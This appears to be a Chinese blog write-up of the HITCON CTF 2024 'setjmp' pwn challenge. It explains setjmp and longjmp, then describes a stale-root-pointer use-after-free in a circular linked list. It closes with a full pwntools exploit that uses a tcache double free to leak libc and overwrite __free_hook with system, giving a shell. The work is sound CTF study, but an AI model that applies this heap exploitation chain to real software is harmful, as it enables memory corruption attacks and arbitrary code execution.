HITCON-CTF-2024-Quals-setjmp

检查

在这里插入图片描述

_setjmp 和 longjmp

setjmplongjmp是C语言中用于实现非局部跳转(non-local jump)的函数,它们允许程序的控制流程跨越函数调用边界,从一个指定的位置跳转到另一个先前记录的位置。这与常规的函数调用和返回机制不同,常规机制只能在函数内部进行控制流的转移。

_setjmp 和 longjmp 函数简介

setjmp函数用于设置一个返回点,而longjmp函数则用于从程序的任何位置跳回到setjmp所设置的返回点。

_setjmp 函数

_setjmp函数(在C++中通常称为setjmp)的原型如下:

int _setjmp(jmp_buf env);

env是一个jmp_buf类型的数组,用于保存当前执行环境的信息,包括寄存器的值和程序计数器等。_setjmp函数返回0,如果这是第一次调用_setjmp;如果longjmp调用到了这个env,则_setjmp返回非零值。

longjmp 函数

longjmp函数的原型如下:

void longjmp(jmp_buf env, int val);

longjmp函数用于从当前的执行位置跳转回由env标识的setjmp点。val是传递给setjmp的返回值,通常用来指示跳转的原因。

示例

下面是一个使用_setjmplongjmp的例子:

#include <stdio.h>
#include <setjmp.h>

jmp_buf jmpbuf;

void my_function() {
    printf("Inside my_function\n");

    // 模拟一个错误条件
    if (1) {
        longjmp(jmpbuf, 1); // 发生错误,跳回到setjmp点
    }
}

int main() {
    int ret;

    printf("Before setjmp\n");
    ret = _setjmp(jmpbuf); // 设置返回点

    if (ret == 0) {
        printf("First call to setjmp\n");
        my_function(); // 调用可能抛出longjmp的函数
    } else {
        printf("Caught an error, ret=%d\n", ret);
    }

    printf("After possible longjmp\n");

    return 0;
}

在这个例子中,main函数首先调用_setjmp来设置一个返回点。如果my_function检测到错误条件,它会调用longjmp,这将使控制流立即返回到_setjmp调用的位置,跳过my_function的后续代码。main函数中的else分支将在longjmp之后执行,处理错误情况。

需要注意的是,longjmpsetjmp的使用应当谨慎,因为它们可能会破坏程序的状态,例如,跳过资源释放代码或导致线程安全问题。通常,异常处理机制如C++的try/catch或更高级的错误处理方法是更可取的替代方案。

实例

当你在C程序中调用longjmp()函数时,它会将程序控制权立即转移到与传入jmp_buf关联的setjmp()调用点。在这个情况下,longjmp(main_begin_jmp_buf, 1);将导致程序的控制流跳回到_setjmp(main_begin_jmp_buf);所在的点。

具体来说,在你的代码片段中,longjmp(main_begin_jmp_buf, 1);会使得程序执行从longjmp调用点跳转回_setjmp(main_begin_jmp_buf);这一行之后的第一条指令。也就是说,如果_setjmp(main_begin_jmp_buf);之后紧接着是:

if ( _setjmp(main_begin_jmp_buf) )
{
  v3 = time(0LL);
  printf("restart at %ld\n", v3);
}

那么longjmp(main_begin_jmp_buf, 1);执行后,程序会从if ( _setjmp(main_begin_jmp_buf) )这一行开始继续执行,但这一次_setjmp()不再返回0,而是返回了longjmp()传递的值(在这种情况下是1)。因此,if语句的条件为真,程序将执行v3 = time(0LL);printf("restart at %ld\n", v3);这两行代码。

简而言之,longjmp(main_begin_jmp_buf, 1);会使程序跳转到_setjmp(main_begin_jmp_buf);之后的代码段,并从那里继续执行,且_setjmp()的返回值将为1,这将触发if语句中的代码块。

逆向

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关参考

https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.17_pwn_secconctf2016_jmper
https://darkwing.moe/2019/09/24/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B024-%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF/

思路

非常感谢Eurus师傅提供的帮助

反编译有问题,这里new_user后,root_chunk会改变
在这里插入图片描述
这里实现了循环双向链表,大致就是创建用户会在链表尾部插入,然后更新root_chunk,find会根据name来检索循环链表,最后直到下一个与开始的节点相同就停止

漏洞点在于free掉当前root_chunk后不会改变root_chunk的值,find依然会按照原来的root_chunk来寻找,进而new,dele,change都会有影响

fastbin是个无底洞,塞不到unsortedbin中去。下面代码得证

#include <stdlib.h>
int main()
{
    char*a[30];
    for(int i=1;i<=26;i++)
    {
        a[i]=malloc(0x20);
    }
     for(int i=1;i<=26;i++)
    {
        free( a[i]);
    }
}

由于泄露heap地址,所以free root后虽然改变name,但依然可以修改passwd,正是tcache的字段用来判断double free(先判断e->key == tcache,然后遍历idx对应的tcache,然后看看有没有地址相同),然后利用double free造成任意堆地址分配,进而分配到某个堆的头部作为data部分然后passwd正好是size部分修改size,然后free掉从而进入unsortedbin,为了保证引起检查错误,所以要分配一堆0x30的chunk来满足chunk_extend

然后再利用double free改free_hook就行

double free->泄露libc

分配到堆头部分,改堆头size,free后进入unsortedbin可泄露

exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def restart():
    p.sendlineafter(b'> ',b'1')

def add(name,passwd):
    p.sendlineafter(b'> ',b'2')
    p.sendafter(b'username > ',name)
    p.sendafter(b'password > ',passwd)

def delete(name):
    p.sendlineafter(b'> ',b'3')
    p.sendafter(b'username > ',name)

def edit(name,passwd):
    p.sendlineafter(b'> ',b'4')
    p.sendafter(b'username > ',name)
    p.sendafter(b'password > ',passwd)

def show():
    p.sendlineafter(b'> ',b'5')

p=process("./run")


add(b"2",b"2")
delete(b"2")
delete(b"root")
add(b"1",b"1") # cover part heap address
show() 
heap=u64( (p.recv(6)).ljust(8,b"\x00"))-0x531
print("heap",hex(heap))
add(b"2",b"2") 
add(b"3",b"3") # then need heap address to find the chunk to edit

# 0x420
for i in range(21):
    add(b"extend",b"extend")


delete(b"2")
delete(b"3")      # else can't find 

restart() # root_chunk change 3 

delete(b"root")




edit(p64(heap+0x540),b"0") 


delete(p64(heap+0x540))



add(p64(heap+0x560),p64(0))

add(p64(heap+0x560),b"unuse")
add(p64(0),p64(0x421))

delete(p64(heap+0x570)) # new user will change 16 24 


restart()  # enconvinent to layout
add(b"1",b"1")

show()
leak=u64( (p.recv(6)).ljust(8,b"\x00"))
libc=leak-0x1ecb31

delete(p64(leak))
gdb.attach(p)
pause()
delete(b"root")

edit(p64(heap+0x740),p64(0))
delete(p64(heap+0x740))

add(p64(libc+0x1eee48-8),p64(0))
add(b"nouse",b"nouse")
add(b"/bin/sh\x00",p64(libc+0x52290))
delete(b"/bin/sh\x00")
p.interactive()



在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值